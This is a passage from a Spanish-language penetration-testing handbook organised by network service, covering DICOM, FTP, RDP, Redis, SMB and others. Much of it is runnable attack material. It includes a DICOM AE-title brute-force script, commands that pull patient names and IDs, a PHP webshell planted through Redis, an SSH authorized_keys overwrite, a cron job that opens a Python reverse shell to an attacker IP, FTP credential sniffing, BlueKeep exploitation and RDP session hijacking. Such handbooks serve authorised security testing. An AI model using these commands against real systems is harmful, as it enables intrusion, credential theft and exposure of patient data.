BACKUP
BACKUP_PACS
ARCHIVE1
ARCHIVE2

TEST
TESTPACS
TEST_SCP
DEV
DEV_PACS
QA
QA_PACS
PROD
PROD_PACS
```

</details>

La enumeración se puede automatizar realizando un ataque de fuerza bruta. Dado que no se trata de una autenticación per se, no hay límite de intentos de conexión exitosa, y por lo tanto, no habría riesgo de bloquear el acceso.&#x20;

Este script automatiza el envío de mensajes de verificación (`C-ECHO`) utilizando la herramienta `echoscu` de la suite DCMTK. Para evitar saturar el servicio, el script cuenta con un *sleep* que podrá habilitarse o deshabilitarse cuando se desee:

[#ataque-de-fuerza-bruta-aet-de-aec](#ataque-de-fuerza-bruta-aet-de-aec "mention")

#### Descubrimiento del AET del Cliente (Calling AET)

Si el servidor también valida quién lo llama, deberás adivinar un nombre de cliente autorizado (ej. el nombre de una estación de trabajo conocida):

```bash
echoscu -v -aet WORKSTATION -aec PACS <IP> 104 -v
```

### Enumeración de PHI (C-FIND)

El objetivo de este paso es consultar la base de datos del servidor DICOM para extraer metadatos de pacientes, estudios y series médicas sin necesidad de una cuenta de usuario tradicional del dominio.

En DICOM, el comando `C-FIND` permite realizar búsquedas jerárquicas. El éxito de esta prueba confirma que el servidor no implementa controles de autorización adicionales más allá del nombre del AET.

<table data-header-hidden><thead><tr><th width="158">Nivel de Consulta</th><th>Información Obtenida</th></tr></thead><tbody><tr><td>PATIENT</td><td>Nombres, IDs de paciente, fechas de nacimiento.</td></tr><tr><td>STUDY</td><td>Fechas de estudios, descripciones médicas, IDs de estudio.</td></tr><tr><td>SERIES</td><td>Modalidades usadas (CT, MR, RX), descripciones de series.</td></tr></tbody></table>

#### Ejecución con `findscu` (DCMTK)

Utilizaremos la herramienta `findscu`. Para que la consulta sea efectiva, debemos enviar etiquetas DICOM vacías (atributos) que el servidor debe "rellenar" en su respuesta.

**A. Enumeración de todos los pacientes**

Este comando solicita al servidor que devuelva el nombre y el ID de todos los pacientes registrados.

```bash
findscu -v -P -k "0010,0010" -k "0010,0020" -aec <AET_OBJETIVO> <IP> <PUERTO>
```

* `-P`: Establece el modelo de información a nivel de Paciente.
* `-k "0010,0010"`: Etiqueta para *PatientName*.
* `-k "0010,0020"`: Etiqueta para *PatientID*.

**B. Búsqueda de estudios por ID de paciente**

```bash
findscu -v -S -k "0010,0020=<ID_PACIENTE>" -k "0008,1030" -aec <AET_OBJETIVO> <IP> <PUERTO>
```

* `-S`: Nivel de consulta de Estudio (*Study*).
* `-k "0008,1030"`: Etiqueta para *StudyDescription*.

## <mark style="color:$primary;">Ataques</mark>

### Ataque de fuerza bruta AET de AEC

Esta sección detalla la metodología para realizar ataques de fuerza bruta contra el Called AE Title (AEC) en infraestructuras médicas. En entornos DICOM, el AEC actúa como un identificador de destino; si el servidor (SCP) tiene habilitada la verificación de este título, rechazará cualquier intento de conexión que no utilice un nombre válido.

Para maximizar la eficiencia y reducir el ruido en los logs, se recomienda una estrategia en dos fases:

* Usa primero la **lista documentada** como base mínima (menos ruido). [#lista-de-posibles-aet-de-servidor-documentacion-oficial](#lista-de-posibles-aet-de-servidor-documentacion-oficial "mention")
* Añade después la lista “no oficial” ajustada con nombres propios del cliente (nombre del hospital, acrónimos internos, dominio AD, etc.), que suele dar muchos más aciertos reales. [#lista-de-posibles-aet-de-servidor-no-documentados-oficialmente](#lista-de-posibles-aet-de-servidor-no-documentados-oficialmente "mention")

Este script automatiza el envío de mensajes de verificación (`C-ECHO`) utilizando la herramienta `echoscu` de la suite DCMTK.

Guarda este código como `brute_called_aet.sh` y dale permisos de ejecución con `chmod +x brute_called_aet.sh:`

<details>

<summary>brute_called_aet.sh</summary>

```bash
#!/bin/bash

# Comprobar si se pasaron los argumentos necesarios
if [ "$#" -ne 3 ]; then
    echo -e "\e[33mUso: $0 <IP> <PUERTO> <LISTA_AET.TXT>\e[0m"
    exit 1
fi

IP_TARGET=$1
PORT_TARGET=$2
AET_FILE=$3

# Verificar si el archivo de candidatos existe
if [ ! -f "$AET_FILE" ]; then
    echo -e "\e[31m[-] Error: El archivo '$AET_FILE' no existe.\e[0m"
    exit 1
fi

# Verificar si echoscu está instalado
if ! command -v echoscu &> /dev/null; then
    echo -e "\e[31m[-] Error: 'echoscu' (DCMTK) no está instalado.\e[0m"
    exit 1
fi

echo "----------------------------------------------------------"
echo "Iniciando Brute Force de AET contra $IP_TARGET:$PORT_TARGET"
echo "Archivo de candidatos: $AET_FILE"
echo "----------------------------------------------------------"

# Leer el archivo línea por línea
while IFS= read -r aet || [ -n "$aet" ]; do
    # Limpiar espacios en blanco o caracteres extraños
    aet=$(echo "$aet" | tr -d '\r' | xargs)
    
    # Saltar líneas vacías
    [[ -z "$aet" ]] && continue

    echo -n "[*] Probando AET: $aet ... "
    
    # Ejecución de echoscu
    # -aec: Called AE Title
    # Redirigimos stderr a stdout para procesar la respuesta
    RESULT=$(echoscu -v -aec "$aet" "$IP_TARGET" "$PORT_TARGET" 2>&1)

    if echo "$RESULT" | grep -q "Association Accepted"; then
        echo -e "\e[32m[+] ¡ACEPTADA!\e[0m"
        echo -e "\n\e[1;32m[!!!] AET VÁLIDO ENCONTRADO: $aet\e[0m\n"
        # Opcional: Detener el script si solo buscas uno
        # exit 0
    elif echo "$RESULT" | grep -q "Association Rejected"; then
        echo -e "\e[31m[-] Rechazada\e[0m"
    elif echo "$RESULT" | grep -q "Failed to establish association"; then
        echo -e "\e[33m[!] Error de red/AET incorrecto\e[0m"
    else
        echo -e "\e[35m[?] Resultado inesperado\e[0m"
    fi
done < "$AET_FILE"

echo "----------------------------------------------------------"
echo "Prueba finalizada."
```

</details>

El script busca la cadena "Association Accepted". Esto indica que el servidor ha validado que el nombre que enviamos (`-aec`) coincide con su configuración interna o que el servidor está configurado en modo promiscuo (acepta cualquier AET).

```bash
./brute_called_aet.sh 192.168.1.100 104 called_aet.txt
```

## <mark style="color:$primary;">Referencias</mark>

* [https://www.ioactive.com/penetration-testing-of-the-dicom-protocol-real-world-attacks](https://www.ioactive.com/penetration-testing-of-the-dicom-protocol-real-world-attacks/)
* <https://medium.com/@pasknel/how-i-got-into-hacking-ultrasound-machines-part-01-432fce2e3ca7>
* <https://medium.com/@pasknel/how-i-got-into-hacking-ultrasound-machines-part-02-3b16b799974c>
* <https://claroty.com/team82/research/dicom-demystified-exploring-the-underbelly-of-medical-imaging>
* <https://github.com/sdnewhop/dicom>
* <https://sdnewhop.github.io/AISec/slides/zn-2019-hm.pdf>


# DNS

## Enumeración

Transferencia de zona

```bash
host -t axfr <dominio> <servidor DNS>
host -t axfr xtormincorp.local ns1.xtormincorp.local
host -t axfr xtormincorp.local 10.10.10.161
```

```
dig axfr @<servidor DNS> <dominio>
dig axfr @ns1.xtormincorp.local xtormincorp.local
dig axfr @10.10.10.161 xtormincorp.local
```


# FTP

<table data-header-hidden><thead><tr><th width="178"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td><p>21 (Control)</p><p>20 (Datos - Modo Activo)</p></td></tr><tr><td><strong>Protocolo</strong></td><td>TCP</td></tr><tr><td><strong>Comunicación cifrada</strong></td><td>FTPS, SFTP</td></tr></tbody></table>

El protocolo FTP es un vector clásico para obtener credenciales en texto plano, archivos de configuración sensibles o incluso ejecución remota si los permisos están mal configurados.

## <mark style="color:$primary;">Reconocimiento y enumeración</mark>

La prioridad es identificar el software servidor (banner) y si permite accesos sin autenticación.

```bash
nmap -sV -Pn -p 21 --script="ftp-*" -oA ftp-enum <IP o RED>
```

```bash
nxc ftp scope.txt
```

## <mark style="color:$primary;">Conexión</mark>

```bash
ftp <IP>
ftp ftp://<usuario>:<contraseña>@<IP>
```

## <mark style="color:$primary;">Comandos útiles</mark>

* `binary`: Cambia a modo binario (obligatorio para descargar ejecutables/ZIPs sin corromperlos).
* `passive`: Alterna entre modo activo/pasivo (útil para evadir firewalls).
* `get <archivo>` / `mget *`: Descarga uno o múltiples archivos.
* `put <archivo>`: Sube archivos (si tienes permisos de escritura).

## <mark style="color:$primary;">Vulnerabilidades</mark>

### Configuraciones Inseguras (Low Hanging Fruit)

#### **\[V] Acceso Anónimo (Anonymous Login)**

Configuración por defecto en muchos servidores antiguos o mal mantenidos.

```bash
ftp ftp://anonymous:password@192.168.198.53
```

```bash
nxc ftp <IP O RED> -t 10 -u 'anonymous' -p '' --ls
```

#### **\[V] Permisos de Escritura (File Upload)**

Si puedes subir archivos, busca directorios que sean servidos por una aplicación web (ej. `wwwroot` en IIS) para subir una WebShell.

```bash
put shell.aspx
```

### Ataques de Red y Credenciales

#### **\[A] Sniffing (Texto Plano)**

FTP no cifra las comunicaciones. Si estás en la misma red (o mediante ARP Spoofing), puedes capturar las credenciales con Wireshark o Tcpdump.

```bash
tcpdump -i eth0 -A port 21 | grep -E "USER|PASS"
```

#### **\[A] Fuerza Bruta**

Si el acceso anónimo está desactivado, prueba diccionarios con NetExec.

```bash
nxc ftp <IP> -u users.txt -p passwords.txt
```

### Vulnerabilidades de Software (Exploits)

Servidores específicos tienen vulnerabilidades críticas conocidas:

* ProFTPD 1.3.5: Mod\_copy exploit (permite copiar archivos arbitrarios).
* vsftpd 2.3.4: Puerta trasera (Backdoor) famosa activada por el carácter `:)` en el usuario.

## <mark style="color:$primary;">Referencias</mark>

* <https://hackviser.com/tactics/pentesting/services/ftp>
* <https://www.thehacker.recipes/infra/protocols/ftp>
* <https://medium.com/@1200km/exploiting-ftp-vulnerabilities-for-effective-penetration-testing-a2810df78602>
* <https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html#hacktricks-automatic-commands>


# HTTP / HTTPS

## Enumeración

### Puertos web comunes

{% code overflow="wrap" %}

```
80,81,88,300,443,591,593,832,981,1010,1311,2082,2087,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5800,6543,7000,7396,7474,8000,8001,8008,8014,8042,8069,8080,8081,8088,8090,8091,8118,8123,8172,8222,8243,8280,8281,8333,8443,8500,8834,8880,8888,8983,9000,9043,9060,9080,9090,9091,9200,9443,9800,9981,12443,16080,18091,18092,20720,28017
```

{% endcode %}

### Captura de pantalla

```bash
sudo apt -y install golang
go install github.com/sensepost/gowitness@latest
```

```bash
gowitness scan --cidr <red> --threads 10
```

{% code overflow="wrap" %}

```bash
for i in $(cat ~/Pentest/scope/scope.txt); do gowitness scan --cidr $i --threads 10; done
```

{% endcode %}

```bash
gowitness report serve
```

## Vulnerabilidades

### Slowloris

<https://github.com/shekyan/slowhttptest>


# Certificados (TLS/SSL)

## Validez del certificado

```bash
testssl "https://ejemplo.com" | grep "Certificate Validity"
```

## Certificado autofirmado

```bash
testssl "https://ejemplo.com" | grep "Chain of trust"
```


# IKE

## Vulnerabilidades

### Aggressive mode enabled on IKE with PSK

```
ike-scan -M <IP>
```


# IPMI

<table data-header-hidden><thead><tr><th width="195"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td>623</td></tr><tr><td><strong>Protocolo/s</strong></td><td>UDP, TCP</td></tr></tbody></table>

## Enumeración

### Metasploit

```bash
msfconsole
```

```bash
use auxiliary/scanner/ipmi/ipmi_version
set RHOSTS file:/root/Pentest/scope/services/ipmi/ipmi_hosts.txt
run
```

```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
set RHOSTS file:/root/Pentest/scope/services/ipmi/ipmi_hosts.txt
run
```

```bash
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS file:/root/Pentest/scope/services/ipmi/ipmi_hosts.txt
run
```


# Jetdirect - 9100

## PRET

<https://github.com/RUB-NDS/PRET/blob/master/pret.py>

```bash
pip install requests
pip install colorama pysnmp
```

```bash
python pret.py <IP> pjl
```


# MSSQL

## Enumeración

```bash
# Lista los módulos disponibles
nxc mssql -L
```

```bash
nxc mssql scope.txt
```

### Identificación de sistema operativo

```bash
git clone https://github.com/nopfor/ntlm_challenger.git

python3 -m venv venv
source venv/bin/activate
python3 -m pip install -r requirements.txt
```

```bash
python ntlm_challenger.py 'mssql://$IP'
```


# NTP

## Vulnerabilidades

### Servicio NTP con modo 6 habilitado

```
```


# RDP

<table data-header-hidden><thead><tr><th width="179"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td>3389</td></tr><tr><td><strong>Protocolo/s</strong></td><td>TCP</td></tr></tbody></table>

## Conexión remota a servicios RDP

### Windows

#### mstsc

<https://learn.microsoft.com/es-es/windows-server/administration/windows-commands/mstsc>

<pre class="language-powershell"><code class="lang-powershell">IP='192.168.1.100'
PORT='3389'
<strong>mstsc /v:$IP:$PORT
</strong></code></pre>

### Linux

#### rdesktop

Cliente RDP clásico para sistemas Linux.

<pre class="language-bash"><code class="lang-bash"><strong>DOMAIN='xtormincorp.local'
</strong><strong>USER='Administrator'
</strong><strong>PASS='password123'
</strong><strong>IP='192.168.1.100'
</strong><strong>
</strong><strong>rdesktop -u $USER -p $PASS $IP
</strong>rdesktop -d $DOMAIN -u $USER -p $PASS $IP
</code></pre>

#### xfreerdp

Cliente RDP moderno y versátil, soporta autenticación por contraseña o hash NTLM.

<pre class="language-bash"><code class="lang-bash">DOMAIN='xtormincorp.local'
USER='Administrator'
PASS='password123'
HASH='xxxxxxxxxxx'
IP='192.168.1.100'

<strong>xfreerdp /u:$DOMAIN\$USER /p:$PASS /v:$IP /cert:ignore
</strong>xfreerdp /u:$DOMAIN\$USER /pth:$HASH /v:$IP /cert:ignore +clipboard /dynamic-resolution
</code></pre>

#### Remmina

Cliente gráfico multiplataforma.

```bash
sudo apt install remmina
```

CLI:

```bash
remmina -c rdp://$USER@$IP
remmina -c rdp://$DOMAIN\\$USER@$IP
remmina -c rdp://$USER:$PASS@$IP
```

GUI:

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F90kEJPYkOQM4baLAhINI%2Fimage.png?alt=media&amp;token=eccb8921-efe6-4c52-928b-59ed801bffd2" alt=""><figcaption></figcaption></figure>

## Enumeración

### Nmap

Enumeración de versión, cifrado y detección de vulnerabilidades:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>nmap -p 3389 -sV -oA nmap/rdp_service -iL scope/scope.txt
</strong><strong>
</strong>nmap -T4 -p 3389 --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -oA nmap/rdp_scripts -iL scope/scope.txt
</code></pre>

### rdp-sec-check

Herramienta en Perl para auditar la configuración de seguridad de RDP.

```bash
git clone "https://github.com/CiscoCXSecurity/rdp-sec-check.git"
```

{% code overflow="wrap" %}

```wasm
IP='192.168.1.100'
./rdp-sec-check.pl $IP

./rdp-sec-check.pl --file scope.txt --timeout 15 --retries 3 --outfile rdpseccheck.log --verbose
```

{% endcode %}

### \[AD] Equipos dentro del grupo "Remote Desktop Users"

Enumeración de equipos que pertenecen al grupo de RDP.

{% code overflow="wrap" %}

```powershell
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
```

{% endcode %}

## Técnicas

### Habilitar servicio RDP remotamente

Mediante el módulo `-M rdp` de *NetExec* es posible habilitar el servicio RDP en un *host* Windows remoto utilizando credenciales válidas de un usuario con privilegios administrativos. Esto se realiza a través de SMB, modificando internamente el registro del sistema remoto.

**Objetivo:** Habilitar RDP para permitir el acceso remoto al escritorio del sistema comprometido, facilitando el movimiento lateral o la persistencia en entornos Windows.

Para ello:

* Internamente, se modifican claves del registro para habilitar `fDenyTSConnections` y abrir el puerto 3389 si es necesario.
* Requiere privilegios administrativos válidos sobre el host remoto.
* No establece una sesión RDP, solo habilita el servicio.

```bash
DOMAIN='xtormincorp.local'
USER='Administrator'
PASS='password123'
HASH='xxxxxxxxxxx'
IP='192.168.1.100'

netexec smb $IP -u $USER -p $PASS -M rdp -o ACTION=enable
netexec smb $IP -u $DOMAIN\\$USER -p $PASS -M rdp -o ACTION=enable
```

Permite al atacante preparar el entorno para una conexión interactiva, facilita el movimiento lateral (usando herramientas como `xfreerdp`, `rdesktop`, `rubeus` o incluso RDP GUI), y puede establecer una puerta de entrada persistente si no se detecta y revierte.

**Clasificación MITRE ATT\&CK:**

| Nivel               | Técnica                                   | ID                                                          |
| ------------------- | ----------------------------------------- | ----------------------------------------------------------- |
| Táctica             | Lateral Movement / Persistence            | —                                                           |
| Técnica             | Remote Services: SMB/Windows Admin Shares | [T1021.002](https://attack.mitre.org/techniques/T1021/002/) |
| Subtécnica          | Remote Services: Remote Desktop Protocol  | [T1021.001](https://attack.mitre.org/techniques/T1021/001/) |
| Técnica relacionada | Modify Registry                           | [T1112](https://attack.mitre.org/techniques/T1112/)         |

## Ataques

### Secuestro de sesión RDP (`tscon`)

Requiere privilegios en el sistema remoto con sesión activa.

```bash
query user
tscon $ID /dest:$SESSIONNAME
```

## Vulnerabilidades

### Bluekeep - **CVE-2019-0708**

<https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2019-0708>

<pre class="language-bash"><code class="lang-bash"><strong>msfconsole
</strong>use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS TARGET_IP
set LHOST YOUR_IP
exploit
</code></pre>

## Referencias

* <https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/rdp-sessions-abuse.html>
* <https://0xss0rz.gitbook.io/0xss0rz/pentest/protocols/rdp-3389>
* <https://attack.mitre.org/techniques/T1563/002/>
* <https://cheatsheet.haax.fr/windows-systems/exploitation/rdp_exploitation/>


# Redis

Redis (Remote Dictionary Server) es un almacén de estructura de datos de clave-valor en memoria rápido y de código abierto.

> Es utilizado por millones de desarrolladores como base de datos, caché, motor de streaming y agente de mensajes.

## Laboratorio

Para poder realizar pruebas contra un entorno de redis de forma fácil, se puede utilizar un contenedor de docker:

```bash
sudo docker run -d --name redis -p 6379:6379 redis
```

La herramienta que utilizaremos para conectarnos "redis-cli" se encuentra en el paquete de "redis-tools":

```bash
sudo apt install redis-tools -y
```

Conexión al redis:

```bash
redis-cli -h 127.0.0.1
```

Conexión al contenedor de docker:

```bash
sudo docker exec -it redis sh
```

Para la explotación de múltiples vulnerabilidades, es necesario que existan varios elementos comunes en entorno de producción. Para ello, dentro del contenedor se ejecutarán los siguientes comandos:

```bash
mkdir -p /root/.ssh
```

## Enumeración

Se puede comprobar de diferentes formas si un servidor cuenta con el puerto 6379 abierto y si en este está siendo ejecutado el servicio de Redis.

* Nmap:

```bash
IP=192.168.1.222
sudo nmap --script=redis-info -sV -p 6379 $IP
```

* Telnet:

```bash
IP=192.168.1.222
telnet $IP 6379
```

* Netcat:

<pre class="language-bash"><code class="lang-bash"><strong>IP=192.168.1.222
</strong><strong>nc -vn $IP 6379
</strong></code></pre>

* Redis-cli:

```bash
IP=192.168.1.222
redis-cli -h $IP -p 6379
```

* Metasploit:

```bash
use auxiliary/scanner/redis/redis_server
set RHOSTS 192.168.1.222
```

Si el servidor no cuenta con autenticación, se podrán ejecutar múltiples comandos con el objetivo de enumerar información del servidor, e incluso, llegar a obtener ejecución de código en el servidor.

### Conexión

```bash
IP=192.168.1.222
PORT=6379
PASS=<contraseña>
redis-cli -h $IP -p $PORT
redis-cli -h $IP -p $PORT -a $PASS
```

### Autenticación

**Por defecto, Redis no cuenta con autenticación**, esta puede (y debe) ser establecida posteriormente, bien con autenticación:

* usuario+contraseña.
* Solo contraseña. En el este caso, el usuario por defecto será `default`.

Para autenticarse en redis, se puede utilizar el siguiente comando:

```bash
AUTH <usuario> <contraseña>
```

### Comandos de redis

Algunos comandos comunes para enumerar información del servidor:

```bash
INFO
client list
CONFIG GET *
```

Crear una clave-valor y obtener el valor de una clave:

```bash
keys *
set <nombre de la clave> <valor de la clave>
get <nombre de la clave>
type <nombre de la clave>
```

Para una mejor comprensión de los comandos, será mejor consultar la documentación:

* <https://redis.io/docs/data-types/tutorial/>

### Rutas interesantes

```bash
/var/www/html
/home/redis/.ssh
/root/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron
```

## Ataques sin autenticación

Para conseguir ejecución de código remoto en un servidor redis, primero se deberá conseguir acceso al servicio.

* [ ] Acceso directo como `anonymous`. \[[Aquí](#conexion)]
* [ ] Ataque de fuerza bruta. \[[Aquí](#fuerza-bruta)]
* [ ] Obtención de credenciales en otros servicios/aplicaciones.
* [ ] Vía MitM.
* [ ] ...

### Conexión directa

Bien porque no cuenta con credenciales, o porque se han obtenido credenciales por otros medios.&#x20;

Más info aquí -> \[[Aquí](#conexion)]

### Fuerza bruta

* nmap:

```bash
sudo nmap --script redis-brute -p 6379 $IP
```

* metasploit:

```bash
use auxiliary/scanner/redis/redis_login
set RHOSTS <IP>
```

<table><thead><tr><th width="225">Comando</th><th>Descripción</th></tr></thead><tbody><tr><td>info</td><td>Muestra los información y datos del servidor.</td></tr><tr><td>select &#x3C;n></td><td>Selecciona una base de datos que utilizar. Por defecto, Redis tiene 16 bases de datos disponibles (0 - 15), siendo 0 la utilizada normalmente.</td></tr><tr><td>keys &#x3C;pattern></td><td>Muestra todas las claves que coincidan con la expresión regular indicada.</td></tr><tr><td>type &#x3C;clave></td><td>Muestra el tipo del valor almacenado en la clave.</td></tr><tr><td>get &#x3C;clave></td><td>Muestra la clave</td></tr><tr><td>hgetall &#x3C;clave></td><td>Muestra todos los pares campo/valor almacenados en la clave hash.</td></tr><tr><td>hget &#x3C;campo> &#x3C;valor></td><td>Obtener el valor del campo especificado en la clave hash.</td></tr></tbody></table>

## Ataques con autenticación

* [ ] Redis (<=5.X) RCE. \[[Aquí](#redis-less-than-5.x-rce)]
* [ ] Subir una webshell. \[[Aquí](#webshell)]
* [ ] Añadir una clave ssh al servidor. \[[Aquí](#ssh)]
* [ ] Añadir un crontab. \[[Aquí](#crontab)]

### Redis (<=5.X) RCE

Para ello, se pueden utilizar las herramientas:

* rogue-server: <https://github.com/n0b0dyCN/redis-rogue-server>

```bash
IP=<IP de redis>
ATIP=<IP del atacante>
python3 redis-rogue-server.py --rhost=$IP --rport=$PORT --lhost $ATPI
```

* metasploit: <https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec>

```bash
use exploit/linux/redis/redis_replication_cmd_exec
set RHOSTS <IP>
```

### Webshell

Si el mismo servidor aloja una aplicación web, se podrá intentar subir una *webshell.*

Algunas rutas comunes son: [Reconocimiento](/pentesting-en-aplicaciones-web/general/reconocimiento#alojamiento-de-la-aplicacion-web)

```bash
config set dir /var/www/html/
config set dbfilename shell.php
set test "<?php echo system($_GET['cmd']); ?>"
save
```

Se pueden consultar otras opciones de webshells en: [Webshell](/pentesting-en-aplicaciones-web/general/explotacion/webshell#php)

```bash
curl http://<IP del redis>/shell.php?cmd=whoami
```

### SSH

#### Sobreescribe el fichero authorized\_keys

1. Manual.
2. Automatizado.

**Método 1 - Manual**

Este método sobreescribe el fichero de authorized\_keys, por lo que, no debería utilizarse en entornos de producción.

1. Se crea una clave privada y pública:

```bash
ssh-keygen -t rsa
```

2. Crear un fichero con la clave pública creada:

```bash
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > public_key.txt
```

3. Copiar la clave pública en el servidor de redis:

```bash
IP=<IP de redis>
cat public_key.txt | redis-cli -h $IP -x set ssh_key
```

4. Almacenar la clave pública en el fichero `authorized_keys`.

<pre class="language-bash"><code class="lang-bash"><strong>redis-cli -h 192.168.1.222 config set dir /root/.ssh
</strong>redis-cli -h 192.168.1.222 config set dbfilename "authorized_keys"
redis-cli -h 192.168.1.222 save
</code></pre>

5. Acceder vía SSH con la clave privada:

```bash
ssh -i id_rsa redis@192.168.1.222
```

**Método 2 - Automatizado**

Se puede realizar de forma automatizada con la herramienta:&#x20;

* <https://github.com/Avinash-acid/Redis-Server-Exploit>

### Crontab

Primero, dejaremos el puerto de recepción a la escucha:

```bash
sudo rlwrap nc -lnvp 80
```

Este comando contiene un crontab que al ejecutarse devuelve una reverse shell con python. Habrá que modificar la IP y puerto de recepción (como siempre, preferiblemente los puertos 80 y 443):

```bash
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<IP atacante>\",<Puerto a la escucha>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
```

Añadir el comando anterior, previamente modificados y ejecutarlo para añadir el valor en la clave "1" que se creará en redis:

```bash
<comando anterior> | redis-cli -h $IP -x set 1
```

Se crea el fichero que, al llegar a ejecutarse, nos devolverá la shell:

```bash
redis-cli -h 192.168.1.222 config set dir /var/spool/cron/crontabs/
redis-cli -h 192.168.1.222 config set dbfilename root
redis-cli -h 192.168.1.222 save
```

## Referencias

* <https://github.com/Jean-Francois-C/Database-Security-Audit/blob/master/Redis%20database%20penetration%20testing>
* <https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis>
* <https://ppn.snovvcrash.rocks/pentest/infrastructure/dbms/redis>
* <https://pentesting.mrw0l05zyn.cl/explotacion/servicios/6379-tcp-redis>
* <https://lzone.de/cheat-sheet/Redis>
* <https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html>
* <https://redis.io/commands/set/>


# RPC

## Enumeración

```bash
$IP=192.168.1.100
rpcclient -U "" -N $IP
```

Esto abrirá una consola que permitirá enumerar información del servidor:

```
rpcclient $> enumdomusers
```

Algunos comandos son:

```
enumdomusers
enumdomgroups

querygroup <RID>
querygroup 0x200

querygroupmem <RID>
querygroupmem 0x200

queryuser <RID>
queryuser 0x1f4
```

Lista de usuarios enumerados:

```
rpcclient -U "" -N $IP -c enumdomusers | cut -d '[' -f2 | cut -d ']' -f1 | sort -u
```


# SMB

<table data-header-hidden><thead><tr><th width="152"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td><p>135</p><p>445</p></td></tr><tr><td><strong>Protocolo/s</strong></td><td>TCP</td></tr></tbody></table>

## Vulnerabilidades comunes

* Versiones de SMB desactualizadas (SMB v1/v2) con exploits conocidos.
* Configuración insegura de permisos en carpetas compartidas.
* Acceso con sesiones nulas (anonymous).
* Credenciales por defecto o débiles.
* Versiones de software con vulnerabilidades conocidas.

### Checklist de vulnerabilidades

| Vulnerabilidad                         | Descripción                                                                          | Detalles                                                             |
| -------------------------------------- | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------- |
| **Firma SMB deshabilitada**            | La firma SMB no está habilitada, lo que permite ataques de Man-in-the-Middle (MITM). | [#firma-smb-deshabilitada](#firma-smb-deshabilitada "mention")       |
| **SMBv1 habilitado**                   | Uso de una versión obsoleta e insegura del protocolo SMB (SMBv1).                    | [#smbv1-habilitado](#smbv1-habilitado "mention")                     |
| **Sesiones nulas habilitadas**         | Permite conexiones anónimas (sin credenciales).                                      | [#sesiones-nulas-habilitadas](#sesiones-nulas-habilitadas "mention") |
| **Credenciales por defecto o débiles** | Cuentas sin contraseña o con contraseñas débiles.                                    | Pendiente                                                            |
| **Shares con permisos de escritura**   | Recursos compartidos con permisos de escritura para usuarios no autorizados.         | Pendiente                                                            |
| **Enumeración de usuarios**            | Permite extraer lista de usuarios a través de RPC, LSARPC, RID brute, etc.           | Pendiente                                                            |
| **CVEs**                               | Vulnerabilidades públicas conocidas (Zerologon, Petitpotam, ...)                     | [#cves](#cves "mention")                                             |

## Enumeración

### Identificación de hosts

Enumerar una red en busca de hosts:

<pre class="language-bash"><code class="lang-bash">NET='192.168.1.0/24'
nbtscan -r $NET

# Para una lista de IPs
for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do nbtscan -r $ip; done
</code></pre>

Para enumerar los sistemas que cuenta con el servicio SMB:

* Netexec:

<pre class="language-bash"><code class="lang-bash">netexec smb &#x3C;red/IP/lista de servidores>
netexec smb 10.10.10.100
netexec smb 192.168.1.0/24
netexec smb <a data-footnote-ref href="#user-content-fn-2">servers.txt</a>
</code></pre>

Si se quiere realizar un escáner de una lista de subredes objetivo:

{% code overflow="wrap" %}

```bash
SCOPE_FILE='~/Pentest/scope/networks.txt'
for i in $(cat $SCOPE_FILE); do NET_FMTED="${i//\//-}" ; netexec smb $i --log "outputs/smb/netexec_$NET_FMTED_$(date +%Y%m%d).log" ; done
```

{% endcode %}

* Nmap:

```bash
NET='192.168.1.0/24'
NET_FMTED="${NET//\//-}"
nbtscan -r $NET
nmap -p 139,445 --script 'smb-*' -oA nmap/"$NET_FMTED" $NET
```

### Identificación de sistema operativo

```bash
git clone https://github.com/nopfor/ntlm_challenger.git

python ntlm_challenger.py 'smb://$IP'
```

### Identificación de versión SMB

<pre class="language-bash"><code class="lang-bash">msfconsole
use auxiliary/scanner/smb/smb_version
set RHOSTS file:/home/kali/<a data-footnote-ref href="#user-content-fn-3">scope.txt</a>
</code></pre>

### Identificación de carpetas compartidas

#### Sin autenticación

{% code overflow="wrap" %}

```bash
NET='192.168.1.0/24'
netexec smb $NET -u '' -p '' --shares --log "netexec_shares_nullsession_$(date +%Y%m%d).log"
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash">IP='192.168.1.100'
smbmap -H $IP

# Para una lista de IPs
for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do smbmap -H $ip; done
</code></pre>

<pre class="language-bash"><code class="lang-bash">IP='192.168.1.100'
smbclient -L //$IP -N

for ip in $(cat <a data-footnote-ref href="#user-content-fn-1">servers.txt</a>); do smbclient -L //$ip -N; done
</code></pre>

```bash
IP='192.168.1.100'
enum4linux-ng -A $IP
enum4linux -a $IP
```

```bash
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
